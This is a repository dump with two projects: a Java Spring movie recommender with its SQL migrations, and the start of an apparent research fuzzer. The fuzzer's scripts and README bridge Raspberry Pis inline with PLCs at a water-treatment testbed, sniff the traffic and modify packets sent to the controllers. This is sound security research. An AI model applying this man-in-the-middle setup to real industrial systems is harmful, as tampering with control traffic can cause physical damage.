Comparator<Entry<Integer, Double>> scoreComparator = new Comparator<Entry<Integer, Double>>() {
@Override
public int compare(Entry<Integer, Double> e0, Entry<Integer, Double> e1)
{
Double v0 = e0.getValue();
Double v1 = e1.getValue();
return v0.compareTo(v1);
}
};
PriorityQueue<Entry<Integer, Double>> topScores = new PriorityQueue<Entry<Integer, Double>>(numMovie, scoreComparator);
for (Entry<Integer, Double> entry : scores.entrySet()) {
topScores.offer(entry);
if (topScores.size() > numMovie) {
topScores.poll();
}
}
List<Integer> topMovieIds = new ArrayList<Integer>();
while (topScores.size() > 0) {
topMovieIds.add(topScores.poll().getKey());
}
return topMovieIds;
}
private Map<Integer, Double> getMovieScores(List<Rater> raters, Set<Integer> ratedMovieIds) {
Map<Integer, Double> scores = new HashMap<>();
for (Rater rater : raters) {
List<Rating> ratings = getRatingsByRaterId(rater.getId());
for (Rating rating: ratings) {
if (!ratedMovieIds.contains(rating.getMovieId())) {
scores.put(rating.getMovieId(), scores.getOrDefault(rating.getMovieId(), (double) 0) + rating.getRating() * rater.getSimilarity());
}
// if (scores.size() > 1000000) {
// System.out.print("scores size exceeds 1,000,000");
// break;
// }
}
}
return scores;
}
private List<Rating> getRatingsByRaterId(int id) {
return ratingDao.getRatingByRaterId(id);
}
// private List<Rater> getSimilarRaters(List<Rating> ratings) {
// List<Integer> raterIds = getAllRaterIds();
// List<Rater> raters = new ArrayList<>();
// for (Integer id: raterIds) {
// Double similarity = getSimilarityWithRatings(id, ratings);
// if (similarity > 0.1) {
// raters.add(new Rater(id, similarity));
// }
// }
// return raters;
// }
// private Double getSimilarityWithRatings(Integer raterId, List<Rating> ratings) {
// List<Integer> movieIds = new ArrayList<>();
// for (Rating rating: ratings) {
// movieIds.add(rating.getMovieId());
// }
// List<Rating> raterRatings = ratingDao.getRatingByRaterIdAndMovieIds(raterId, movieIds);
// if (raterRatings == null || raterRatings.isEmpty()) {
// return (double) 0;
// }
// return getSimilarityBetweenRatings(raterRatings, ratings);
// }
// private Double getSimilarityBetweenRatings(List<Rating> raterRatings, List<Rating> ratings) {
// Double similarity = (double) 0;
// normalizeRatings(raterRatings);
// subtractThreeFromRatings(ratings);
// for (Rating r1 : ratings) {
// int movieId = r1.getMovieId();
// for (Rating r2: raterRatings) {
// if (r2.getMovieId() == movieId) {
// similarity += r1.getRating() * r2.getRating();
// }
// }
// }
// return similarity;
// }
// private void subtractThreeFromRatings(List<Rating> ratings) {
// for (Rating r : ratings) {
// r.setRating(r.getRating() - 3);
// }
// }
// private void normalizeRatings(List<Rating> ratings) {
// Double meanRating = (double) 0;
// for (Rating r : ratings) {
// meanRating += r.getRating() / ratings.size();
// }
// for (Rating r : ratings) {
// r.setRating(r.getRating() - meanRating);
// }
// }
// private List<Integer> getAllRaterIds() {
// return ratingDao.getAllRaterIds();
// }
public List<Rating> filterZeroRating(List<Rating> ratings) {
List<Rating> nonZeroRatings = new ArrayList<>();
for (Rating r : ratings) {
if (r.getRating() > 0.1) {
nonZeroRatings.add(r);
}
}
return nonZeroRatings;
}
// public List<Rating> filterZeroAndThreeRating(List<Rating> ratings) {
// List<Rating> filteredRatings = new ArrayList<>();
// for (Rating r : ratings) {
// if (r.getRating() > 0.1 && (r.getRating() < 2.9 || r.getRating() > 3.1)) {
// filteredRatings.add(r);
// }
// }
// return filteredRatings;
// }
public void decouplingNormalization(List<Rating> ratings) {
Map<Double, Double> percentageOfRatingLowerThan = new HashMap<>();
Map<Double, Double> percentageOfRatingEqualTo = new HashMap<>();
int numRatings = ratings.size();
for (Rating r : ratings) {
percentageOfRatingEqualTo.put(r.getRating(), percentageOfRatingEqualTo.getOrDefault(r.getRating(), (double) 0) + (double) 1 / numRatings);
}
for (int i = 1; i < POSSIBLE_RATINGS.size(); i++) {
Double currentR = POSSIBLE_RATINGS.get(i);
Double prevR = POSSIBLE_RATINGS.get(i - 1);
percentageOfRatingLowerThan.put(currentR, percentageOfRatingLowerThan.getOrDefault(prevR, (double) 0) + percentageOfRatingEqualTo.getOrDefault(prevR, (double) 0));
}
for (Rating r : ratings) {
double unnormalized = r.getRating();
r.setRating(percentageOfRatingLowerThan.getOrDefault(unnormalized, (double) 0) + percentageOfRatingEqualTo.getOrDefault(unnormalized, (double) 0) / 2 - 0.5);
}
}
}
```
V1.2__ReCreateShortRatingData.sql
```DROP TABLE ratings;
CREATE TABLE ratings (
rater_id INTEGER NOT NULL,
movie_id INTEGER NOT NULL,
rating NUMERIC(2, 1) NOT NULL,
timestamp INTEGER NOT NULL,
PRIMARY KEY (rater_id, movie_id)
);```
Movie.java
```package yunxiao.movierecommender.model;
public class Movie {
private final int id;
private int imdbId;
private String title;
private String genres;
private String imdbUrl;
private String posterUrl;
public Movie() {
this.id = -1;
}
public Movie(int id) {
this.id = id;
}
public Movie(int id, int imdbId, String title, String genres, String imdbUrl, String posterUrl) {
this.id = id;
this.imdbId = imdbId;
this.title = title;
this.genres = genres;
this.imdbUrl = imdbUrl;
this.posterUrl = posterUrl;
}
public boolean isBlank() {
return (this.id == -1);
}
public int getId() {
return id;
}
public int getImdbId() {
return imdbId;
}
public void setImdbId(int imdbId) {
this.imdbId = imdbId;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getPosterUrl() {
return posterUrl;
}
public void setPosterUrl(String posterUrl) {
this.posterUrl = posterUrl;
}
public String getImdbUrl() {
return imdbUrl;
}
public void setImdbUrl(String imdbUrl) {
this.imdbUrl = imdbUrl;
}
public String getGenres() {
return genres;
}
public void setGenres(String genres) {
this.genres = genres;
}
}
```
Rater.java
```package yunxiao.movierecommender.model;
public class Rater {
private int id;
private double similarity;
public Rater() {
}
public Rater(int id, double similarity) {
this.id = id;
this.similarity = similarity;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public double getSimilarity() {
return similarity;
}
public void setSimilarity(double similarity) {
this.similarity = similarity;
}
}
```
V1.1__AddShortRatingData.sql
```CREATE TABLE ratings (
movie_id INTEGER NOT NULL,
rater_id INTEGER NOT NULL,
rating NUMERIC(2, 1) NOT NULL,
timestamp INTEGER NOT NULL
);```
RatingCreationDto.java
```package yunxiao.movierecommender.dto;
import java.util.ArrayList;
import java.util.List;
import yunxiao.movierecommender.model.Rating;
public class RatingCreationDto {
private List<Rating> ratings;
public RatingCreationDto() {
this.ratings = new ArrayList<Rating>();
}
public void addRating(Rating rating) {
this.ratings.add(rating);
}
public void addEmptyRatings(int num) {
for (int i = 0; i < num; i++) {
addRating(new Rating());
}
}
public List<Rating> getRatings() {
return ratings;
}
}
```
V1__ShortMovieData.sql
```CREATE TABLE movies (
movie_id INTEGER NOT NULL PRIMARY KEY,
imdb_id INTEGER,
title VARCHAR(200) NOT NULL,
genres VARCHAR(100),
imdb_url VARCHAR(50),
poster_url VARCHAR(200)
);```
Rating.java
```package yunxiao.movierecommender.model;
public class Rating {
private int raterId;
private int movieId;
private double rating;
private int timestamp;
public Rating() {
}
public Rating(int raterId, int movieId, double rating, int timestamp) {
this.raterId = raterId;
this.movieId = movieId;
this.rating = rating;
this.timestamp = timestamp;
}
public int getRaterId() {
return raterId;
}
public void setRaterId(int raterId) {
this.raterId = raterId;
}
public int getMovieId() {
return movieId;
}
public void setMovieId(int movieId) {
this.movieId = movieId;
}
public double getRating() {
return rating;
}
public void setRating(double rating) {
this.rating = rating;
}
public int getTimestamp() {
return timestamp;
}
public void setTimestamp(int timestamp) {
this.timestamp = timestamp;
}
}
```
V1.4__RecreateIndexForRatingsMovieId.sql
```DROP INDEX IF EXISTS idx_ratings_movie_id;
CREATE INDEX idx_ratings_movie_id
ON ratings(movie_id, rater_id, rating);```
MovieDataAccessService.java
```package yunxiao.movierecommender.dao;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Optional;
import java.util.Random;
import java.util.Set;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
import yunxiao.movierecommender.model.Movie;
@Repository("postgres-movie")
public class MovieDataAccessService implements MovieDao {
private final JdbcTemplate jdbcTemplate;
public static int size;
public static int popularSize;
public static Set<Integer> popularMovieIds;
public MovieDataAccessService(JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
String sql = "SELECT reltuples::BIGINT AS estimate FROM pg_class WHERE relname='movies';";
this.setSize(this.jdbcTemplate.queryForObject(sql, Integer.class));
sql = "SELECT movie_id FROM popular_movies;";
List<Integer> popularIds = new ArrayList<>();
try {
popularIds = jdbcTemplate.query(sql, (resultSet, i) -> {
int movieId = resultSet.getInt("movie_id");
return movieId;
});
} catch (EmptyResultDataAccessException e) {
popularIds = null;
}
this.setPopularSize(popularIds.size());
popularMovieIds = new HashSet<>();
for (Integer id : popularIds) {
popularMovieIds.add(id);
}
}
@Override
public Optional<Movie> getMovieById(int id) {
final String sql = "SELECT * FROM movies WHERE movie_id = ?";
Movie movie = new Movie();
try {
movie = jdbcTemplate.queryForObject(sql, new Object[] {id}, (resultSet, i) -> {
int movieId = resultSet.getInt("movie_id");
int imdbId = resultSet.getInt("imdb_id");
String title = resultSet.getString("title");
String genres = resultSet.getString("genres");
String imdbUrl = resultSet.getString("imdb_url");
String posterUrl = resultSet.getString("poster_url");
return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl);
});
} catch (EmptyResultDataAccessException e) {
movie = null;
}
return Optional.ofNullable(movie);
}
@Override
public List<Movie> getRandomMovies(int num) {
// getSize() returns estimated size to avoid slow counting; /2 for safety
int bound = Integer.max(30, getSize() / 2);
int[] randomRows = new Random().ints(2 * num, 0, bound)
.distinct()
.limit(num)
.toArray();
final String sql = "SELECT * FROM movies LIMIT 1 OFFSET ?";
List<Movie> randomMovies = new ArrayList<>();
for (int row : randomRows) {
Movie movie = new Movie();
try {
movie = jdbcTemplate.queryForObject(sql, new Object[] {row}, (resultSet, i) -> {
int movieId = resultSet.getInt("movie_id");
int imdbId = resultSet.getInt("imdb_id");
String title = resultSet.getString("title");
String genres = resultSet.getString("genres");
String imdbUrl = resultSet.getString("imdb_url");
String posterUrl = resultSet.getString("poster_url");
return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl);
});
} catch (EmptyResultDataAccessException e) {
movie = new Movie();
}
if (!movie.isBlank()) {
randomMovies.add(movie);
}
}
return randomMovies;
}
public List<Movie> getRandomPopularMovies(int num) {
// getSize() returns estimated size to avoid slow counting; /2 for safety
int bound = Integer.max(30, getPopularSize());
int[] randomRows = new Random().ints(2 * num, 0, bound)
.distinct()
.limit(num)
.toArray();
final String sql = "SELECT * FROM popular_movies LIMIT 1 OFFSET ?";
List<Movie> randomMovies = new ArrayList<>();
for (int row : randomRows) {
Movie movie = new Movie();
try {
movie = jdbcTemplate.queryForObject(sql, new Object[] {row}, (resultSet, i) -> {
int movieId = resultSet.getInt("movie_id");
int imdbId = resultSet.getInt("imdb_id");
String title = resultSet.getString("title");
String genres = resultSet.getString("genres");
String imdbUrl = resultSet.getString("imdb_url");
String posterUrl = resultSet.getString("poster_url");
return new Movie(movieId, imdbId, title, genres, imdbUrl, posterUrl);
});
} catch (EmptyResultDataAccessException e) {
movie = new Movie();
}
if (!movie.isBlank()) {
randomMovies.add(movie);
}
}
return randomMovies;
}
public int getSize() {
return size;
}
private void setSize(int size) {
MovieDataAccessService.size = size;
}
public int getPopularSize() {
return popularSize;
}
private void setPopularSize(int popularSize) {
MovieDataAccessService.popularSize = popularSize;
}
}
```
V2.1__ReCreateRatingsTableAndPrimaryKey.sql
```DROP TABLE IF EXISTS ratings;
CREATE TABLE ratings (
rater_id INTEGER NOT NULL,
movie_id INTEGER NOT NULL,
rating NUMERIC(2, 1) NOT NULL,
timestamp INTEGER NOT NULL,
PRIMARY KEY (rater_id, movie_id, rating)
);```
RatingDao.java
```package yunxiao.movierecommender.dao;
import java.util.List;
import java.util.Map;
import yunxiao.movierecommender.model.Rating;
public interface RatingDao {
List<Rating> getRatingByRaterId(int raterId);
List<Rating> getRatingByMovieId(int movieId);
List<Integer> getAllRaterIds();
List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds);
Rating getRatingByRaterIdAndMovieId(Integer raterId, Integer movieId);
Map<Integer, Double> getSimilarityMap(List<Rating> ratings);
}
```
V1.3__CreateIndexForRatingsMovieId.sql
```CREATE INDEX idx_ratings_movie_id
ON ratings(movie_id);```
MovieController.java
```package yunxiao.movierecommender.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import yunxiao.movierecommender.dto.RatingCreationDto;
import yunxiao.movierecommender.model.Movie;
import yunxiao.movierecommender.model.Rating;
import yunxiao.movierecommender.service.MovieService;
import yunxiao.movierecommender.service.RatingService;
@Controller
public class MovieController {
private final MovieService movieService;
private final RatingService ratingService;
@Value("${use-angular-frontend}")
private boolean useAngularFrontend;
@Autowired
public MovieController(MovieService movieService, RatingService ratingService) {
this.movieService = movieService;
this.ratingService = ratingService;
}
@GetMapping("/")
public String landing() {
return "landing";
}
@GetMapping("/rate")
public String rateRandomMovies(@RequestParam(defaultValue = "32") int numMovies, Model model) {
List<Movie> randomMovies = movieService.getRandomPopularMovies(numMovies);
RatingCreationDto ratingCreationDto = new RatingCreationDto();
ratingCreationDto.addEmptyRatings(randomMovies.size());
List<Rating> ratings = ratingCreationDto.getRatings();
for (int i = 0; i < randomMovies.size(); i++) {
ratings.get(i).setMovieId(randomMovies.get(i).getId());
}
model.addAttribute("form", ratingCreationDto);
model.addAttribute("movies", randomMovies);
return "rate";
}
@PostMapping("/recommendation")
public String getSubmittedRatings(@ModelAttribute RatingCreationDto form, Model model) {
List<Rating> ratings = form.getRatings();
ratings = ratingService.filterZeroRating(ratings);
ratingService.decouplingNormalization(ratings);
if (ratings.size() < 1) {
model.addAttribute("error", "At least one rating has to be submitted.");
return "rate";
}
List<Integer> recommendedMovieIds = ratingService.getRecommendedMovieIds(ratings);
List<Movie> recommendedMovies = movieService.getRecommendedMovies(recommendedMovieIds);
model.addAttribute("ratings", ratings);
model.addAttribute("movies", recommendedMovies);
return "recommendation";
}
}
```
V2__AddCompactDataset.sql
```CREATE TABLE popular_movies (
movie_id INTEGER NOT NULL PRIMARY KEY,
imdb_id INTEGER,
title VARCHAR(200) NOT NULL,
genres VARCHAR(100),
imdb_url VARCHAR(50),
poster_url VARCHAR(200)
);
CREATE TABLE compact_ratings (
rater_id INTEGER NOT NULL,
movie_id INTEGER NOT NULL,
rating NUMERIC(2, 1) NOT NULL,
timestamp INTEGER NOT NULL,
PRIMARY KEY (rater_id, movie_id)
);
CREATE INDEX idx_compact_ratings_movie_id
ON compact_ratings(movie_id, rater_id, rating);```
MovieDao.java
```package yunxiao.movierecommender.dao;
import java.util.List;
import java.util.Optional;
import yunxiao.movierecommender.model.Movie;
public interface MovieDao {
Optional<Movie> getMovieById(int id);
List<Movie> getRandomMovies(int num);
List<Movie> getRandomPopularMovies(int num);
}
```
RatingDataAccessService.java
```package yunxiao.movierecommender.dao;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
import yunxiao.movierecommender.model.Rater;
import yunxiao.movierecommender.model.Rating;
@Repository("postgres-rating")
public class RatingDataAccessService implements RatingDao {
private final JdbcTemplate jdbcTemplate;
public RatingDataAccessService(JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
@Override
public Map<Integer, Double> getSimilarityMap(List<Rating> ratings) {
Map<Integer, Double> similarities = new HashMap<Integer, Double>();
final String sql = "SELECT rater_id, rating FROM compact_ratings WHERE movie_id = ?";
for (Rating r : ratings) {
List<Rater> raters = new ArrayList<>();
int movieId = r.getMovieId();
try {
raters = jdbcTemplate.query(sql,
new Object[] {movieId},
(resultSet, i) -> {
int raterId = resultSet.getInt("rater_id");
double rating = resultSet.getDouble("rating");
double similarity = rating * r.getRating();
return new Rater(raterId, similarity);
});
} catch (EmptyResultDataAccessException e) {
raters = null;
}
if (raters != null && !raters.isEmpty()) {
for (Rater rater : raters) {
similarities.put(rater.getId(), similarities.getOrDefault(rater.getId(), (double) 0) + rater.getSimilarity());
}
}
}
return similarities;
}
@Override
public List<Rating> getRatingByRaterId(int raterId) {
final String sql = "SELECT movie_id, rating FROM compact_ratings WHERE rater_id = ?";
List<Rating> ratings = new ArrayList<>();
try {
ratings = jdbcTemplate.query(sql, new Object[] {raterId}, (resultSet, i) -> {
int movieId = resultSet.getInt("movie_id");
double rating = resultSet.getDouble("rating");
int timestamp = 0;
return new Rating(raterId, movieId, rating, timestamp);
});
} catch (EmptyResultDataAccessException e) {
ratings = null;
}
return ratings;
}
@Override
public List<Rating> getRatingByMovieId(int movieId) {
final String sql = "SELECT * FROM ratings WHERE movie_id = ?";
List<Rating> ratings = new ArrayList<>();
try {
ratings = jdbcTemplate.query(sql, new Object[] {movieId}, (resultSet, i) -> {
int raterId = resultSet.getInt("rater_id");
double rating = resultSet.getDouble("rating");
int timestamp = resultSet.getInt("timestamp");
return new Rating(raterId, movieId, rating, timestamp);
});
} catch (EmptyResultDataAccessException e) {
ratings = null;
}
return ratings;
}
@Override
public List<Integer> getAllRaterIds() {
final String sql = "SELECT DISTINCT rater_id FROM ratings";
List<Integer> raterIds = new ArrayList<>();
try {
raterIds = jdbcTemplate.query(sql, (resultSet, i) -> {
int raterId = resultSet.getInt("rater_id");
return raterId;
});
} catch (EmptyResultDataAccessException e) {
raterIds = null;
}
return raterIds;
}
@Override
public List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds) {
List<Rating> ratings = new ArrayList<>();
for (Integer movieId : movieIds) {
Rating rating = getRatingByRaterIdAndMovieId(raterId, movieId);
if (rating != null) {
ratings.add(rating);
}
}
return ratings;
}
@Override
public Rating getRatingByRaterIdAndMovieId(Integer raterId, Integer movieId) {
final String sql = "SELECT * FROM ratings WHERE rater_id = ? AND movie_id = ?";
Rating rating = new Rating();
try {
rating = jdbcTemplate.queryForObject(sql, new Object[] {raterId, movieId}, (resultSet, i) -> {
double r = resultSet.getDouble("rating");
int timestamp = resultSet.getInt("timestamp");
return new Rating(raterId, movieId, r, timestamp);
});
} catch (EmptyResultDataAccessException e) {
rating = null;
}
return rating;
}
//@Override
//public List<Rating> getRatingByRaterIdAndMovieIds(Integer raterId, List<Integer> movieIds) {
// final String sql = "SELECT * FROM ratings WHERE rater_id = ? AND movie_id = ANY (string_to_array(?, ',')";
// StringBuilder idString = new StringBuilder();
// for (Integer movieId: movieIds) {
// idString.append(movieId.toString());
// idString.append(",");
// }
// idString.deleteCharAt(idString.length() - 1);
// List<Rating> ratings = new ArrayList<>();
// try {
// ratings = jdbcTemplate.query(sql,
// new Object[] {raterId, idString.toString()},
// new int[] {Types.INTEGER, Types.VARCHAR},
// (resultSet, i) -> {
// int movieId = resultSet.getInt("movie_id");
// double rating = resultSet.getDouble("rating");
// int timestamp = resultSet.getInt("timestamp");
// return new Rating(raterId, movieId, rating, timestamp);
// });
// } catch (EmptyResultDataAccessException e) {
// ratings = null;
// }
// return ratings;
//}
}
```
|
yuqiChen94/Active_fuzzer
|
yuqiChen94/Active_fuzzer
start_lvl0.sh
```modprobe br_netfilter
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/bridge/bridge-nf-call-iptables
sudo ifconfig br0 down
sudo brctl delbr br0
sudo brctl addbr br0
sudo brctl addif br0 enp3s0 enx00e04c68015e
sudo ifconfig enp3s0 up
sudo ifconfig enx00e04c68015e up
sudo ifconfig br0 up
#change enx000ec6a76988, enx9cebe8aea755 interface accordingly to yours.
```
README.md
```# Requirement
## Hardware
1.Four raspberry Pis with a wireless network adapter and an ethernet adapter
2.One laptop with a Linux OS
3.USB Ethernet adaptors
4.Ethernet cable extenders
## Software
python 2.7.16
matplotlib 2.2.4 (https://matplotlib.org/)
netfilter 0.6.4 (https://www.netfilter.org/)
numpy 1.16.2 (https://numpy.org/)
pandas 0.24.1 (https://pandas.pydata.org/)
pyzmq 18.0.1 (https://pyzmq.readthedocs.io/en/latest/)
scapy 2.4.2 (https://scapy.net/)
scikit-learn 0.20.3 (https://scikit-learn.org/)
tcpdump 4.9.2 (https://www.tcpdump.org/manpages/tcpdump.1.html)
# Setup
1. Physically connect the Raspberry Pis to all PLCs in level0. (USB Ethernet adaptors are used here since Raspberry Pis typically has only one ethernet port.)
2. Edit and run start_lvl0.sh to enable bridge-Netfilter to set up bridges for all Raspberry Pis.
3. Make sure all the Raspberry Pis and the laptop are put onto the same wireless subnet.
# Code structure
This project contains three modules:
* Packet collection
* Active learning
* Attack implications
# Usage
### Data collection
1. For each Raspberry Pi, copy the scripts from the fold 'raspberry_Pi' to the corresponding Raspberry Pis.
2. Edit the ipadress, port number and file names according to yours.
3. Run the script 'raspberry_Pi/tcpdump.sh' to sniff packets in level 0 for different PLC. (You should install the required software for your raspberry and check that bridge works.)
4. Collect corresponding sensor values from the dataset in the meantime.
5. Edit and run the script 'main/extract_bits.py' and 'main/extra_log.py' to generate the feature vectors and sensor values used for training.
### Active learning
1. Edit and run script 'main/train.py' to get a pre-training model using the data collected above.
2. For each Raspberry Pi, edit and run the corresponding 'stage_server.py' ,'stage_client.py' and 'stage_AL.py' from the fold 'raspberry_Pi'. (For the sensor value, you can also collect it from the database directly.)
3. In the meantime, edit and run 'main/zmq/main_client.py' , 'main/zmq/main_server.py' and 'main_predict.py' on the laptop. The 'client' and the 'server' scripts are used to pass all the packets captured by each pi to the laptop and send the new packets generated by our active fuzzing algorithm to each pi.The 'main_predict.py' is the implementation of our algorithm and the 'stage_AL.py' is specially designed to capture packets from the network and modify them.```
tcpdump.sh
```#!/bin/sh
sudo tcpdump ip -i eth1 -w ./test.pcap
#change eth1 interfaces according to yours.```
preprocess.py
```from __future__ import division
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.svm import LinearSVR
import numpy as np
from sklearn.externals import joblib
import matplotlib.pyplot as plt
import random
import math
import time
def train_linear(x, y):
model_linear = LinearSVR(C=1, tol = 1e-5)
model_linear.fit(x, y)
return model_linear
def train_gbdt(x, y):
model_gbdt = GradientBoostingRegressor(
loss='ls'
, learning_rate=0.1
, n_estimators=100
, subsample=0.8
, min_samples_split=2
, min_samples_leaf=1
, max_depth=10
, init=None
, random_state=None
, max_features=None
, alpha=0.9
, verbose=0
, max_leaf_nodes=None
, warm_start=False
)
model_gbdt.fit(x, y)
return model_gbdt
def bootstrap_con(X,y,block_size):
shape=np.shape(X)
num_item =shape[0]
vector_size=shape[1]
num_blocks = num_item //block_size
if num_blocks * block_size < num_item:
num_blocks += 1
new_X=np.zeros(shape=(num_blocks*block_size,vector_size))
new_y=np.zeros(shape=num_blocks*block_size)
max_block_index = num_item - block_size
for i in range(num_blocks):
index=random.randint(0,max_block_index)
# print index
# print X[index:index+block_size]
new_X[i*block_size:(i+1)*block_size]=X[index:index+block_size]
new_y[i * block_size:(i + 1) * block_size] = y[index:index + block_size]
return new_X,new_y
# According to book "Advanced Data Analysis from an Elementary Point of View", the size of block should be n^(1/3)
# block_size=int(np.shape(X)[0]**(1/3))+1
# According to paper, the standard number 0f bootstrap is 4
def bootstrap_linear_model(X,y,block_size,num):
model_list=[]
for i in range(num):
new_X, new_y = bootstrap_con(X, y, block_size)
model = train_linear(new_X,new_y)
model.fit(new_X, new_y)
model_list.append("model/bootstrap_linear_example"+str(i)+".pkl")
joblib.dump(model,model_list[i])
return model_list
def bootstrap_GBDT_model(X,y,block_size,num):
model_list=[]
for i in range(num):
new_X, new_y = bootstrap_con(X, y, block_size)
model = train_gbdt(new_X,new_y)
model_list.append("model/bootstrap_GBDT_example"+str(i)+".pkl")
joblib.dump(model,model_list[i])
return model_list
def EMCM_linear(model,num_bootstrap,model_list,search_times,vector):
v_list=[]
vector_list = []
for i in range(search_times):
v=0
for k in range(num_bootstrap):
model_e=joblib.load(model_list[k])
yk=model_e.predict(vector[i].reshape(1, -1))
fx=model.predict(vector[i].reshape(1, -1))
v+=np.linalg.norm((fx-yk)*vector[i])
v_list.append(v)
temp_list = v_list[:]
temp_list.sort(reverse=True)
#top 10 vector in all modified vectors
for i in range(10):
vector_list.append(vector[v_list.index(temp_list[i])])
return vector_list
def EMCM_GBDT(model,num_bootstrap,model_list,search_times,vector,num_estimators):
v_list=[]
vector_list = []
for i in range(search_times):
v=0
v_tree = np.zeros(num_estimators)
for j in range(num_estimators):
v_tree[j] = model.estimators_[j][0].tree_.predict(vector[i].reshape(1, -1).astype(np.float32))[0]
for k in range(num_bootstrap):
model_e=joblib.load(model_list[k])
yk=model_e.predict(vector[i].reshape(1, -1))
fx=model.predict(vector[i].reshape(1, -1))
v+=np.linalg.norm((fx-yk)*v_tree)
v_list.append(v)
temp_list = v_list[:]
temp_list.sort(reverse=True)
#top 10 vector in all modified vectors
for i in range(10):
vector_list.append(vector[v_list.index(temp_list[i])])
return vector_list
#How to construct vector?
if __name__ == '__main__':
# block_size=int(np.shape(X)[0]**(1/3))+1
# model = joblib.load('model/0718LIT101_diff30_linear.pkl')
X_test = np.loadtxt('vector/0718train.txt')
y_test = np.loadtxt('vector/0718LIT101_train.txt')
block_size=int(np.shape(X_test)[0]**(1/3))+1
# bootstrap_linear_model(X_test,y_test,block_size,4)
# bootstrap_GBDT_model(X_test,y_test,block_size,4)
vector = X_test[:2400]
method = 'GBDT'
model = joblib.load('model/LIT101_'+method+'0.pkl')
model_list = ['model/bootstrap_'+method+'_example0.pkl', 'model/bootstrap_'+method+'_example1.pkl', 'model/bootstrap_'+method+'_example2.pkl',
'model/bootstrap_'+method+'_example3.pkl']
a = time.time()
vector_list = EMCM_GBDT(model,4,model_list,len(vector),vector,100)
print time.time()-a
print vector_list
```
start_lvl0.sh
```modprobe br_netfilter
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/bridge/bridge-nf-call-iptables
sudo ifconfig br0 down
sudo brctl delbr br0
sudo brctl addbr br0
sudo brctl addif br0 enp3s0 enx000ec6b75a5b
sudo ifconfig enp3s0 up
sudo ifconfig enx000ec6b75a5b up
sudo ifconfig br0 up
#change enx000ec6a76988, enx9cebe8aea755 interface accordingly to yours.
```
scaling_all.py
```#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""Functions and constants to scale current 4-20 mA to measurements, and vice versa.
"""
__all__ = ['P1Flow', 'P1Level','P2Flow', 'P2Cond', 'P2Ph', 'P2Orp','P3Level', 'P3Flow', 'P3DPress' \
'P4Level', 'P4Hrdss', 'P4Flow', 'P4Orp', \
'P5FeedPh', 'P5FeedOrp', 'P5FeedCond', 'P5PremCond', 'P5FeedFlow', 'P5PermFlow',\
'P5ConcFlow', 'P5RecFlow', 'P5HPumpPress', 'P5PermPress', 'P5ConcPress',\
'P6BackFlow', 'current_to_signal', 'signal_to_current']
#Analog Input AI plc1
class P1Level(object):
EUMAX = 1225.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P1Flow(object):
EUMAX = 10.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -15.0
#AI plc2
class P2Flow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -5.0
class P2Cond(object):
EUMAX = 1000.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P2Ph(object):
EUMAX = 12.0
EUMIN = 2.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P2Orp(object):
EUMAX = 800.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
#AI plc3
class P3Level(object):
EUMAX = 1250.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P3Flow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -10.0
class P3DPress(object):
EUMAX = 100.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -18.0
#AI plc4
class P4Level(object):
EUMAX = 1200.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P4Hrdss(object):
EUMAX = 150.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P4Flow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -5.0
class P4Orp(object):
